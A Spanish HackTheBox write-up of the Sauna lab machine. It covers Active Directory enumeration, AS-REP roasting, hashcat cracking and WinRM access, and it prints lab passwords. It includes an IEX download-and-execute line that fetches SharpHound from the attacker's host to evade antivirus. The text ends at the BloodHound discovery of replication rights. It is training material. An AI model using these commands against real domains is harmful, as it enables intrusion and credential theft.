the_open_door
café
ESEN

Sauna

HackTheBoxFácilWindows10.10.10.175

La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.

#active-directory#as-rep-roasting#kerberos#kerbrute#bloodhound#autologon#dcsync#getchangesall#pass-the-hash#username-anarchy
TL;DR. Sauna es un Active Directory de manual. La web del banco filtra los nombres del equipo y LDAP confirma alguno más, así que generamos una lista de usuarios probables y la pasamos por Kerberos: fsmith tiene la preautenticación desactivada, lo que habilita un AS-REP Roasting y nos entrega un hash que cae a diccionario (Thestrokes23). Con esas credenciales entramos por WinRM, y winPEAS descubre las credenciales de AutoLogon del servicio svc_loanmgr. Ese usuario tiene GetChangesAll sobre el dominio, lo que permite un DCSync para volcar el hash NT de Administrator y entrar con Pass-the-Hash. Sin un solo CVE: enumeración de usuarios, una contraseña débil y un permiso de replicación mal delegado.

Reconocimiento

Ping

Empezamos con un ping para mirar el TTL, que da una pista rápida de la familia del sistema operativo: valores de hasta ~64 suelen ser Linux y de ~128, Windows.

ping -c 1 10.10.10.175

Respuesta del ping con TTL 127

64 bytes from 10.10.10.175: icmp_seq=1 ttl=127 time=102 ms

TTL 127 → Windows: Windows inicia el TTL en 128 y cada salto de routing lo decrementa, así que 127 = 128−1; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios.

Barrido UDP

Antes del TCP, un vistazo a los 100 puertos UDP más comunes. Aquí, a diferencia de otras máquinas, no sale vacío:

nmap -sU --min-rate 5000 -Pn -n -vvv --open --top-ports 100 10.10.10.175 | grep -v 'no-response'

nmap -sU descubriendo 53/udp domain, 88/udp kerberos-sec y 123/udp ntp, todos con udp-response ttl 127

Initiating UDP Scan at 23:23
Discovered open port 88/udp on 10.10.10.175
Discovered open port 123/udp on 10.10.10.175
Discovered open port 53/udp on 10.10.10.175
Completed UDP Scan at 23:23, 1.42s elapsed (100 total ports)

PORT     STATE  SERVICE       REASON
53/udp   open   domain        udp-response ttl 127
88/udp   open   kerberos-sec  udp-response ttl 127
123/udp  open   ntp           udp-response ttl 127

Tres puertos que juntos son una firma: DNS (53) + Kerberos (88) + NTP (123). Un Controlador de Dominio de Active Directory necesita los tres (DNS para localizar servicios por SRV, Kerberos para autenticar y NTP porque los tickets Kerberos caducan por reloj). Antes de tocar TCP ya sabemos ante qué estamos.

Escaneo de puertos

Lanzamos un SYN scan a todos los puertos con un --min-rate alto y guardamos la salida en formato grepeable para reutilizar la lista de puertos:

sudo nmap -sS -n -Pn -p- --min-rate 5000 -vvv --open 10.10.10.175 -oG scan

nmap -p- descubriendo 20 puertos abiertos, incluidos 53, 80, 88, 135, 139, 389, 445, 464, 593, 636, 3268, 3269, 5985, 9389 y el rango dinámico RPC, todos con syn-ack ttl 127

PORT      STATE SERVICE        REASON
53/tcp    open  domain         syn-ack ttl 127
80/tcp    open  http           syn-ack ttl 127
88/tcp    open  kerberos-sec   syn-ack ttl 127
135/tcp   open  msrpc          syn-ack ttl 127
139/tcp   open  netbios-ssn    syn-ack ttl 127
389/tcp   open  ldap           syn-ack ttl 127
445/tcp   open  microsoft-ds   syn-ack ttl 127
464/tcp   open  kpasswd5       syn-ack ttl 127
593/tcp   open  http-rpc-epmap syn-ack ttl 127
636/tcp   open  ldapssl        syn-ack ttl 127
3268/tcp  open  globalcatLDAP  syn-ack ttl 127
3269/tcp  open  globalcatLDAPssl syn-ack ttl 127
5985/tcp  open  wsman          syn-ack ttl 127
9389/tcp  open  adws           syn-ack ttl 127
49668/tcp open  unknown        syn-ack ttl 127
49673/tcp open  unknown        syn-ack ttl 127
49674/tcp open  unknown        syn-ack ttl 127
49677/tcp open  unknown        syn-ack ttl 127
49689/tcp open  unknown        syn-ack ttl 127
49696/tcp open  unknown        syn-ack ttl 127

Nmap done: 1 IP address (1 host up) scanned in 26.49 seconds

Veinte puertos, no catorce: los seis del rango 49xxx son el rango dinámico de RPC, y conviene listarlos porque son los que usan secretsdump y compañía cuando negocian por RPC. Los ttl 127 confirman el ping.

extractPorts scan

extractPorts devolviendo IP Address 10.10.10.175 y los 20 puertos abiertos separados por comas

Extracting information...
IP Address: 10.10.10.175
Open ports: 53,80,88,135,139,389,445,464,593,636,3268,3269,5985,9389,49668,49673,49674,49677,49689,49696

Ports copied to clipboard

Un segundo escaneo identifica versiones y lanza los scripts por defecto sobre esos puertos:

nmap -p53,80,88,135,139,389,445,464,593,636,3268,3269,5985,9389,49668,49673,49674,49677,49689,49696 -sCV 10.10.10.175

nmap -sCV revelando IIS 10.0 con el título Egotistical Bank, el dominio EGOTISTICAL-BANK.LOCAL en LDAP, y en los host scripts un clock-skew de 7h00m00s

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Microsoft IIS httpd 10.0
|_http-title: Egotistical Bank :: Home
|_http-server-header: Microsoft-IIS/10.0
| http-methods:
|_  Potentially risky methods: TRACE
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-10-15 04:29:18Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
9389/tcp  open  mc-nmf        .NET Message Framing
49668/tcp open  msrpc         Microsoft Windows RPC
49673/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49674/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: SAUNA; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time:
|   date: 2025-10-15T04:30:11
|_  start_date: N/A
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled and required
|_clock-skew: 7h00m00s

El conjunto de servicios no deja dudas: Kerberos (88), LDAP (389/636) con su catálogo global (3268/3269), kpasswd (464), ADWS (9389) y SMB (445). Es un Controlador de Dominio de Active Directory, y el escaneo nos regala dos datos de oro: el dominio EGOTISTICAL-BANK.LOCAL y un IIS en el puerto 80 con el título "Egotistical Bank". Además, WinRM (5985) está abierto: si conseguimos credenciales válidas, tendremos shell directamente.

Tres detalles de los host scripts que merecen apuntarse antes de seguir:

  • clock-skew: 7h00m00s. El reloj del DC va siete horas por delante del nuestro, muy por encima de los cinco minutos que Kerberos tolera por defecto. Cualquier operación que pida un ticket (GetNPUsers, GetUserSPNs, autenticación Kerberos) puede fallar con un error de skew hasta sincronizar el reloj con un ntpdate. Aquí no llega a estorbar porque kerbrute construye su propio AS-REQ, pero es la causa número uno de fallos inexplicables en cajas de AD.
  • Message signing enabled and required. La firma SMB es obligatoria, lo que descarta de entrada los ataques de relay NTLM: cualquier intento de retransmitir una autenticación sería rechazado.
  • Potentially risky methods: TRACE en el IIS. Habilitar TRACE puede facilitar un XST (Cross-Site Tracing), aunque necesita XSS y navegadores antiguos. Se anota y se descarta.

Antes de seguir, mapeamos el dominio en /etc/hosts:

nano /etc/hosts
cat /etc/hosts

/etc/hosts con la línea 10.10.10.175 EGOTISTICAL-BANK.LOCAL añadida al final

127.0.0.1       localhost
127.0.1.1       kali

# The following lines are desirable for IPv6 capable hosts
::1             localhost ip6-localhost ip6-loopback
ff02::1         ip6-allnodes
ff02::2         ip6-allrouters

10.10.10.175    EGOTISTICAL-BANK.LOCAL

DNS - TCP/UDP 53

Con DNS abierto, probamos lo de siempre: registros básicos y un intento de transferencia de zona.

dig NS EGOTISTICAL-BANK.LOCAL @10.10.10.175
dig MX EGOTISTICAL-BANK.LOCAL @10.10.10.175

dig NS devolviendo sauna.EGOTISTICAL-BANK.LOCAL con su A 10.10.10.175 y dos registros AAAA dead:beef::7c42:fe2c:a326:707a y dead:beef::238; dig MX sin ANSWER, solo el SOA

;; ANSWER SECTION:
EGOTISTICAL-BANK.LOCAL.   3600  IN  NS   sauna.EGOTISTICAL-BANK.LOCAL.

;; ADDITIONAL SECTION:
sauna.EGOTISTICAL-BANK.LOCAL.  3600 IN  A     10.10.10.175
sauna.EGOTISTICAL-BANK.LOCAL.  3600 IN  AAAA  dead:beef::7c42:fe2c:a326:707a
sauna.EGOTISTICAL-BANK.LOCAL.  3600 IN  AAAA  dead:beef::238

;; QUESTION SECTION:
;EGOTISTICAL-BANK.LOCAL.        IN  MX

;; AUTHORITY SECTION:
EGOTISTICAL-BANK.LOCAL.   3600  IN  SOA  sauna.EGOTISTICAL-BANK.LOCAL. hostmaster.EGOTISTICAL-BANK.LOCAL. 48 900 600 86400 3600

El NS confirma que el DC se llama sauna y, de paso, deja ver dos direcciones IPv6. El MX no tiene ANSWER (solo el SOA de autoridad), así que no hay servidor de correo. La transferencia de zona:

dig axfr EGOTISTICAL-BANK.LOCAL @10.10.10.175

dig axfr devolviendo "; Transfer failed."

; <<>> DiG 9.20.11-4+b1-Debian <<>> axfr EGOTISTICAL-BANK.LOCAL @10.10.10.175
;; global options: +cmd
; Transfer failed.

Transfer failed., que es lo normal en un DC bien configurado (la AXFR solo se permite a los secundarios declarados). DNS no nos da vía de entrada.

La teoría del IPv6 (descartada)

Las direcciones IPv6 del dig abren una posibilidad que merece la pena probar: en muchas redes reales las reglas del cortafuegos se escriben solo para IPv4 y la pila IPv6 queda sin filtrar, exponiendo puertos que por IPv4 estaban cerrados.

nmap -sS --min-rate 5000 -Pn -n -vvv --open dead:beef::7c42:fe2c:a326:707a -6

nmap sobre IPv6 descubriendo 15 puertos, y el extractPorts del escaneo IPv4 al lado señalando el 139 como el puerto que solo aparece por IPv4

PORT      STATE SERVICE          REASON
53/tcp    open  domain           syn-ack ttl 63
80/tcp    open  http             syn-ack ttl 63
88/tcp    open  kerberos-sec     syn-ack ttl 63
135/tcp   open  msrpc            syn-ack ttl 63
389/tcp   open  ldap             syn-ack ttl 63
445/tcp   open  microsoft-ds     syn-ack ttl 63
464/tcp   open  kpasswd5         syn-ack ttl 63
593/tcp   open  http-rpc-epmap   syn-ack ttl 63
636/tcp   open  ldapssl          syn-ack ttl 63
3268/tcp  open  globalcatLDAP    syn-ack ttl 63
3269/tcp  open  globalcatLDAPssl syn-ack ttl 63
5985/tcp  open  wsman            syn-ack ttl 63

Not shown: 988 filtered tcp ports (no-response)
Nmap done: 1 IP address (1 host up) scanned in 2.22 seconds

La teoría no aplica aquí: por IPv6 aparecen menos puertos que por IPv4, no más. Falta el 139 (NetBIOS, que es intrínsecamente IPv4), el 9389 y todo el rango dinámico de RPC. Además el escaneo solo recorrió los 1000 puertos por defecto, no los 65535. Vía descartada, pero la comprobación cuesta dos segundos y en un entorno real habría podido regalar la caja.

Web - TCP 80

El IIS sirve la página corporativa del banco. La sección "Meet The Team" es justo lo que buscamos en un AD: una lista de empleados con nombre y apellido.

Sección "Meet The Team" con los empleados del banco

Apuntamos los nombres. Todavía no sabemos el formato de los samAccountName, pero estos nombres son la materia prima para generar candidatos de usuario más adelante.

SMB y RPC - TCP 445 / 135

Antes de fabricar usuarios a ciegas, intentamos que el propio dominio nos los entregue. La sesión nula contra RPC es lo primero:

rpcclient 10.10.10.175 -U '' -N

rpcclient conectando pero devolviendo NT_STATUS_ACCESS_DENIED tanto en enumdomusers como en enumdomgroups

rpcclient $> enumdomusers
result was NT_STATUS_ACCESS_DENIED
rpcclient $> enumdomgroups
result was NT_STATUS_ACCESS_DENIED

Aquí hay un matiz que conviene no pasar por alto: la sesión nula se establece (rpcclient entrega su prompt sin quejarse), pero las consultas devuelven ACCESS_DENIED. Conectar y consultar son permisos distintos: el DC acepta la conexión anónima pero no deja enumerar el SAM.

Lo mismo por SMB:

crackmapexec smb 10.10.10.175 -u '' -p '' --shares
crackmapexec smb 10.10.10.175 -u '' -p '' --users

crackmapexec autenticando con [+] EGOTISTICAL-BANK.LOCAL\: pero devolviendo STATUS_ACCESS_DENIED al enumerar recursos y un aviso de que NTLM necesita usuario y contraseña para los usuarios

SMB  10.10.10.175  445  SAUNA  [*] Windows 10.0 Build 17763 x64 (name:SAUNA) (domain:EGOTISTICAL-BANK.LOCAL) (signing:True) (SMBv1:False)
SMB  10.10.10.175  445  SAUNA  [+] EGOTISTICAL-BANK.LOCAL\:
SMB  10.10.10.175  445  SAUNA  [-] Error enumerating shares: STATUS_ACCESS_DENIED

SMB  10.10.10.175  445  SAUNA  [+] EGOTISTICAL-BANK.LOCAL\:
SMB  10.10.10.175  445  SAUNA  [-] Error enumerating domain users using dc ip 10.10.10.175: NTLM needs domain\username and a password
SMB  10.10.10.175  445  SAUNA  [*] Trying with SAMRPC protocol

El [+] EGOTISTICAL-BANK.LOCAL\: confirma otra vez lo mismo: la sesión nula es aceptada (el [+] significa autenticación correcta con usuario y contraseña vacíos), pero listar recursos da STATUS_ACCESS_DENIED. De paso, el banner confirma el signing:True que ya había dicho nmap.

Probamos con otras dos herramientas, porque no todas negocian igual:

smbmap -H 10.10.10.175 -k

smbmap estableciendo una conexión SMB pero con 0 sesiones autenticadas y el mensaje "Access denied on 10.10.10.175, no fun for you..."

[*] Detected 1 hosts serving SMB
[!] Authentication error on 10.10.10.175 invalid principal syntax
[*] Established 1 SMB connections(s) and 0 authenticated session(s)
[!] Access denied on 10.10.10.175, no fun for you...
[*] Closed 1 connections
smbclient -L 10.10.10.175 -N

smbclient devolviendo "Anonymous login successful" pero con la tabla de Sharename vacía y un fallo posterior al reintentar con SMB1

Anonymous login successful

        Sharename       Type      Comment
        ---------       ----      -------
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.10.10.175 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available

Las tres herramientas dicen lo mismo con palabras distintas: el login anónimo funciona, la enumeración no. smbclient incluso imprime Anonymous login successful y a continuación una tabla vacía. El acceso anónimo está restringido, así que no podremos hacer RID cycling ni listar shares. No es un callejón sin salida, solo nos obliga a sacar los usuarios por otra vía.

LDAP - TCP 389

LDAP suele ser más hablador que SMB aunque no tengamos credenciales. Primero preguntamos por los contextos de nombres, es decir, las bases sobre las que se puede buscar:

ldapsearch -x -H ldap://10.10.10.175 -s base namingcontexts

ldapsearch devolviendo los cinco namingContexts del dominio, entre ellos DC=EGOTISTICAL-BANK,DC=LOCAL y los contextos de configuración, esquema y zonas DNS

# extended LDIF
# LDAPv3
# base <> (default) with scope baseObject
# filter: (objectclass=*)
# requesting: namingcontexts

dn:
namingcontexts: DC=EGOTISTICAL-BANK,DC=LOCAL
namingcontexts: CN=Configuration,DC=EGOTISTICAL-BANK,DC=LOCAL
namingcontexts: CN=Schema,CN=Configuration,DC=EGOTISTICAL-BANK,DC=LOCAL
namingcontexts: DC=DomainDnsZones,DC=EGOTISTICAL-BANK,DC=LOCAL
namingcontexts: DC=ForestDnsZones,DC=EGOTISTICAL-BANK,DC=LOCAL

# search result
search: 2
result: 0 Success

Que esta consulta funcione sin credenciales es normal: el RootDSE es público por diseño, porque un cliente necesita saber contra qué base buscar antes de autenticarse. Con el DN base confirmado, volcamos todos los objetos del árbol:

ldapsearch -x -H ldap://10.10.10.175 -b "DC=EGOTISTICAL-BANK,DC=LOCAL" "(objectClass=*)" | grep dn

Volcado de DNs por LDAP: entre los contenedores de sistema aparece CN=Hugo Smith

dn: DC=EGOTISTICAL-BANK,DC=LOCAL
dn: CN=Users,DC=EGOTISTICAL-BANK,DC=LOCAL
dn: CN=Computers,DC=EGOTISTICAL-BANK,DC=LOCAL
dn: OU=Domain Controllers,DC=EGOTISTICAL-BANK,DC=LOCAL
dn: CN=System,DC=EGOTISTICAL-BANK,DC=LOCAL
...
dn: CN=Builtin,DC=EGOTISTICAL-BANK,DC=LOCAL
dn: CN=Hugo Smith,DC=EGOTISTICAL-BANK,DC=LOCAL

Entre los contenedores típicos (Users, Computers, Domain Controllers...) aparece un objeto que no es de sistema: CN=Hugo Smith. El DN no nos da el samAccountName, pero sí un nombre real más para la lista. Con los nombres de la web y este de LDAP, ya tenemos suficiente para generar candidatos.

Shell como fsmith

Lista de usuarios con username-anarchy

Primero juntamos en un fichero todos los nombres reales recogidos, los seis de la web más el de LDAP:

nano Users
cat Users

El fichero Users con siete nombres (Hugo Smith, Hugo Bear, Fergus Smith, Shaun Coins, Bowie Taylor, Sophie Driver, Steven Kerb) junto a la página "Meet The Team" de donde salen

Hugo Smith
Hugo Bear
Fergus Smith
Shaun Coins
Bowie Taylor
Sophie Driver
Steven Kerb

No sabemos si el dominio usa fsmith, fergus.smith o ferguss, así que probamos todos los formatos a la vez. username-anarchy toma nombres reales y genera las permutaciones habituales:

./username-anarchy --input-file Users --select-format first,flast,first.last,firstl > unames.txt
cat unames.txt

username-anarchy genera la lista de posibles samAccountName a partir de los nombres reales

hugo
hugo.smith
hugos
hsmith
hugo.bear
hugob
hbear
fergus
fergus.smith
ferguss
fsmith
shaun
shaun.coins
...
skerb

Obtenemos una lista corta y razonable de posibles samAccountName. El siguiente paso es preguntarle a Kerberos cuáles existen de verdad.

AS-REP Roasting con kerbrute

kerbrute (repo) valida usuarios contra Kerberos sin necesidad de credenciales: por cada nombre de la lista pide un AS-REQ y observa la respuesta del KDC. Y hace algo más: si un usuario tiene la preautenticación de Kerberos desactivada, el KDC entrega directamente la parte cifrada del AS-REP, que es justo lo que ataca el AS-REP Roasting.

./kerbrute_static userenum -d EGOTISTICAL-BANK.LOCAL --dc 10.10.10.175 unames.txt

kerbrute valida hsmith y fsmith, y vuelca el AS-REP de fsmith

[+] VALID USERNAME:   hsmith@EGOTISTICAL-BANK.LOCAL
[+] fsmith has no pre auth required. Dumping hash to crack offline:
$krb5asrep$18$fsmith@EGOTISTICAL-BANK.LOCAL:cd7cc9824d4cc590470c0239d745cce6$1ff46addcdf...
[+] VALID USERNAME:   fsmith@EGOTISTICAL-BANK.LOCAL
Done! Tested 27 usernames (2 valid) in 0.853 seconds

Dos usuarios válidos de veintisiete candidatos, hsmith y fsmith, y este último con la preautenticación desactivada. Eso significa que su contraseña queda expuesta a un crackeo offline del AS-REP. Conviene recordar que esto depende de una mala configuración concreta (el flag DONT_REQ_PREAUTH): no todos los usuarios son AS-REP roasteables, solo los que la tienen puesta.

Crackeo del hash con hashcat

kerbrute ya vuelca un AS-REP, pero para crackear con hashcat usamos su variante en RC4 (etype 23), que es la que ataca el modo 18200. Guardamos el hash en un fichero y lo lanzamos contra rockyou.txt:

hashcat -m 18200 hash /usr/share/wordlists/rockyou.txt

hashcat crackea el AS-REP y revela la contraseña Thestrokes23

$krb5asrep$23$fsmith@EGOTISTICAL-BANK.LOCAL:753e026497de02cc1df62d639a61dde8$be8e56f...:Thestrokes23

La contraseña de fsmith es Thestrokes23. Antes de usarla, validamos dónde funciona.

Validación y acceso por WinRM

Probamos las credenciales contra SMB y WinRM con crackmapexec, que nos dice no solo si son válidas sino si nos dan acceso interactivo:

crackmapexec smb 10.10.10.175 -u fsmith -p Thestrokes23
crackmapexec winrm 10.10.10.175 -u fsmith -p Thestrokes23

crackmapexec confirma WinRM con (Pwn3d!) para fsmith

SMB    10.10.10.175  445   SAUNA  [+] EGOTISTICAL-BANK.LOCAL\fsmith:Thestrokes23
WINRM  10.10.10.175  5985  SAUNA  [+] EGOTISTICAL-BANK.LOCAL\fsmith:Thestrokes23 (Pwn3d!)

SMB acepta las credenciales pero no da shell; WinRM responde con (Pwn3d!), lo que significa que fsmith está en el grupo Remote Management Users. Esa distinción entre [+] y (Pwn3d!) es la que decide por dónde entrar: autenticar no es lo mismo que poder ejecutar. Entramos con evil-winrm:

evil-winrm -i 10.10.10.175 -u fsmith -p Thestrokes23

Shell de evil-winrm como fsmith

Evil-WinRM shell v3.7
*Evil-WinRM* PS C:\Users\FSmith\Documents> whoami
egotisticalbank\fsmith

Y con la shell, la primera flag:

type ..\Desktop\user.txt

user.txt leída como fsmith

7487801657e4012a6d1885875c1978f7

Shell como svc_loanmgr

winPEAS: credenciales de AutoLogon

Tenemos shell pero fsmith es un usuario raso. Subimos winPEAS (repo) para enumerar el sistema en busca de vías de escalada o de pivote a otro usuario. Elegimos la variante any_ofs (10 MB) porque es la compilada para cualquier arquitectura y con ofuscación básica:

wget https://github.com/peass-ng/PEASS-ng/releases/latest/download/winPEASany_ofs.exe &>/dev/null
ls -l | grep win
upload /home/krmena/machines/sauna/content/winPEASany_ofs.exe

wget descargando winPEASany_ofs.exe (10026496 bytes) y evil-winrm subiéndolo a C:\Users\FSmith\Documents con "Upload successful!"

-rw-r--r-- 1 root root 10026496 Oct  7 11:16 winPEASany_ofs.exe

Info: Uploading /home/krmena/machines/sauna/content/winPEASany_ofs.exe to C:\Users\FSmith\Documents\winPEASany_ofs.exe

Data: 13368660 bytes of 13368660 bytes copied

Info: Upload successful!

Los 13368660 bytes copiados frente a los 10026496 del fichero no son un error: evil-winrm sube en base64 sobre WinRM, y esa codificación infla el tamaño aproximadamente un tercio.

.\winPEASany_ofs.exe

winPEAS arrancando con su banner ASCII y el aviso de que sin el bit de color ANSI la salida puede verse peor

[!] If you want to run the file analysis checks (search sensitive information in files), you need to specify the 'file analysis' or 'all' argument.
ANSI color bit for Windows is not set. If you are executing this from a Windows terminal inside the host you should run 'REG ADD HKCU\Console /v VirtualTerminalLevel /t REG_DWORD /d 1' and then start a new CMD

WinPEAS-ng by @hacktricks_live

[+] Legend:
    Red        Indicates a special privilege over an object or something is misconfigured
    Green      Indicates that some protection is enabled or something is well configured

winPEAS muestra credenciales de AutoLogon de svc_loanmanager

Looking for AutoLogon credentials
Some AutoLogon credentials were found
DefaultDomainName    :  EGOTISTICALBANK
DefaultUserName      :  EGOTISTICALBANK\svc_loanmanager
DefaultPassword      :  Moneymakestheworldgoround!

El hallazgo clave aparece en la sección de AutoLogon. AutoLogon es una comodidad de Windows que permite iniciar sesión sin teclear la contraseña; el problema es que la guarda en claro en el registro, bajo HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon. winPEAS (repo) la lee por nosotros, pero es la misma consulta que se puede lanzar a mano:

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
DefaultDomainName    :  EGOTISTICALBANK
DefaultUserName      :  EGOTISTICALBANK\svc_loanmanager
DefaultPassword      :  Moneymakestheworldgoround!

Pivote fsmith → svc_loanmgr

svc_loanmanager es el nombre que figura en el registro, pero no tiene por qué coincidir con el samAccountName real. Lo comprobamos listando los perfiles de C:\Users:

dir C:\Users

Perfiles en C:\Users: el usuario real es svc_loanmgr

Directory: C:\users

Mode  LastWriteTime         Name
----  -------------         ----
d---- 1/25/2020   1:05 PM   Administrator
d---- 1/23/2020   9:52 AM   FSmith
d-r-- 1/22/2020   9:32 PM   Public
d---- 1/24/2020   4:05 PM   svc_loanmgr

El perfil real es svc_loanmgr (no svc_loanmanager). Con ese nombre y la contraseña del AutoLogon, validamos:

crackmapexec smb 10.10.10.175 -u svc_loanmgr -p 'Moneymakestheworldgoround!' 2>/dev/null
crackmapexec winrm 10.10.10.175 -u svc_loanmgr -p 'Moneymakestheworldgoround!' 2>/dev/null

crackmapexec validando svc_loanmgr en SMB con [+] y en WinRM con (Pwn3d!)

SMB    10.10.10.175  445   SAUNA  [*] Windows 10.0 Build 17763 x64 (name:SAUNA) (domain:EGOTISTICAL-BANK.LOCAL) (signing:True) (SMBv1:False)
SMB    10.10.10.175  445   SAUNA  [+] EGOTISTICAL-BANK.LOCAL\svc_loanmgr:Moneymakestheworldgoround!

SMB    10.10.10.175  5985  SAUNA  [*] Windows 10.0 Build 17763 (name:SAUNA) (domain:EGOTISTICAL-BANK.LOCAL)
HTTP   10.10.10.175  5985  SAUNA  [*] http://10.10.10.175:5985/wsman
WINRM  10.10.10.175  5985  SAUNA  [+] EGOTISTICAL-BANK.LOCAL\svc_loanmgr:Moneymakestheworldgoround! (Pwn3d!)

El nombre corregido funciona y, de nuevo, WinRM da (Pwn3d!). Entramos:

evil-winrm -i 10.10.10.175 -u svc_loanmgr -p 'Moneymakestheworldgoround!'

Shell de evil-winrm como svc_loanmgr

*Evil-WinRM* PS C:\Users\svc_loanmgr\Documents> whoami /all
USER INFORMATION
User Name                    SID
egotisticalbank\svc_loanmgr  S-1-5-21-2966785786-3096785034-1186376766-1108

Ya somos svc_loanmgr. Una cuenta de servicio suele tener permisos delegados que un usuario normal no tiene, así que toca mapear el dominio para ver qué puede hacer.

BloodHound

Recoger los datos con SharpHound

SharpHound es el recolector: recorre el dominio por LDAP y SMB y empaqueta todo en un ZIP de JSON que BloodHound sabe leer. Existe en .exe, .ps1 y .bat; usamos el .ps1 porque se puede cargar en memoria sin escribir nada en disco, lo que evita el antivirus.

wget https://raw.githubusercontent.com/puckiestyle/powershell/refs/heads/master/SharpHound.ps1
python3 -m http.server 80
IEX(New-Object Net.WebClient).DownloadString('http://10.10.16.6/SharpHound.ps1')

wget descargando SharpHound.ps1 (951K), el http.server registrando el GET desde 10.10.10.175 con código 200, y el IEX cargándolo en memoria en la sesión de evil-winrm

Length: 973325 (951K) [text/plain]
Saving to: 'SharpHound.ps1'
SharpHound.ps1   100%[==================>] 950.51K  --.-KB/s    in 0.05s
2025-10-15 14:35:15 (17.6 MB/s) - 'SharpHound.ps1' saved [973325/973325]

Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.175 - - [15/Oct/2025 14:35:48] "GET /SharpHound.ps1 HTTP/1.1" 200 -

El 200 en el log del servidor es la confirmación de que la víctima descargó el script; el IEX no imprime nada porque solo define funciones en la sesión.

Invoke-BloodHound -CollectionMethod All
dir

Invoke-BloodHound generando 20251015125401_BloodHound.zip de 9134 bytes junto al fichero .bin de caché

    Directory: C:\Users\svc_loanmgr\Documents

Mode    LastWriteTime          Length  Name
----    -------------          ------  ----
-a----  10/15/2025  12:54 PM     9134  20251015125401_BloodHound.zip
-a----  10/15/2025  12:54 PM    11122  ZDFkMDEyYjYtMmE1ZS00OWY3LTk0OWItYTM2OWVmMjc5NDVk.bin

Nueve kilobytes: es un dominio pequeño. El .bin de nombre aleatorio es la caché de sesión de SharpHound, no hace falta.

download 20251015125401_BloodHound.zip data.zip

evil-winrm descargando el ZIP con "Download successful!" y el ls confirmando data.zip de 9134 bytes en la atacante

Info: Downloading C:\Users\svc_loanmgr\Documents\20251015125401_BloodHound.zip to data.zip
Info: Download successful!

-rw-r--r-- 1 root root  9134 Oct 15 14:56 data.zip

Montar BloodHound

BloodHound 4.x guarda el grafo en una base Neo4j, y esa versión de Neo4j exige Java 11: con el Java 21 por defecto de Kali no arranca. Se cambia con update-alternatives:

update-alternatives --config java

update-alternatives mostrando las dos alternativas de java y seleccionando la 1, java-11-openjdk-amd64

There are 2 choices for the alternative java (providing /usr/bin/java).

  Selection    Path                                          Priority   Status
------------------------------------------------------------------------------
* 0            /usr/lib/jvm/java-21-openjdk-amd64/bin/java    2111      auto mode
  1            /usr/lib/jvm/java-11-openjdk-amd64/bin/java    1111      manual mode
  2            /usr/lib/jvm/java-21-openjdk-amd64/bin/java    2111      manual mode

Press <enter> to keep the current choice[*], or type selection number: 1
update-alternatives: using /usr/lib/jvm/java-11-openjdk-amd64/bin/java to provide /usr/bin/java (java) in manual mode

Con el Java correcto, primero la base de datos y luego la interfaz:

./neo4j console
./BloodHound --disable-gpu --no-sandbox

Los dos paneles: BloodHound arrancando con un aviso de deprecación de Buffer() y neo4j console listando sus directorios e iniciando el servicio

Directories in use:
home:         /home/krmena/machines/forest/exploits/neo4j-community-4.4.0
config:       .../conf
logs:         .../logs
plugins:      .../plugins
data:         .../data
Starting Neo4j.
2025-10-15 12:51:16.740+0000 INFO  Starting...

El orden importa: si BloodHound arranca antes que Neo4j, no encuentra a qué conectarse. La interfaz pide las credenciales de la base (las que se fijaron al inicializar Neo4j) y, una vez dentro, aparece el lienzo vacío:

La interfaz de BloodHound recién abierta, con el buscador de nodos vacío y la barra lateral de acciones a la derecha

Si se usó BloodHound en una máquina anterior, la base todavía tiene aquellos datos y hay que limpiarla para que el grafo no mezcle dominios:

El panel Database Info con el botón "Clear Database" pulsado y el diálogo de confirmación "Are you ABSOLUTELY sure you want to clear the database?"

El mismo panel con "Clear Sessions" y su diálogo de confirmación

Con la base limpia, subimos el ZIP de SharpHound:

El diálogo "Upload Data" de BloodHound con data.zip seleccionado desde /home/krmena/machines/sauna/content

El progreso de carga descomprimiendo data.zip y completando al 100% los ficheros groups.json, users.json y gpos.json

UNZIPPING FILE DATA.ZIP

20251015125401_groups.json   Upload Complete   100%
20251015125401_users.json    Upload Complete   100%
20251015125401_gpos.json     Upload Complete   100%

Analizar el grafo

Empezamos por lo obvio: quién es administrador del dominio.

El grupo Domain Admins solo contiene a Administrator

Solo está Administrator: no hay un usuario intermedio cómodo, hay que llegar al administrador directamente.

Marcamos como owned a los dos usuarios que ya controlamos (fsmith y svc_loanmgr). No es cosmético: BloodHound usa esa marca para calcular las consultas de tipo "Shortest Path from Owned Principals", es decir, rutas que parten de lo que ya tenemos.

Usuarios fsmith y svc_loanmgr marcados como owned

El menú contextual de SVC_LOANMGR@EGOTISTICAL-BANK.LOCAL con "Mark User as Owned" resaltado, junto al panel de consultas predefinidas

Revisamos el control de objetos de primer grado de svc_loanmgr y aparece un único privilegio, pero demoledor: tiene GetChanges y GetChangesAll sobre el dominio.

svc_loanmgr con GetChangesAll sobre el dominio EGOTISTICAL-BANK.LOCAL

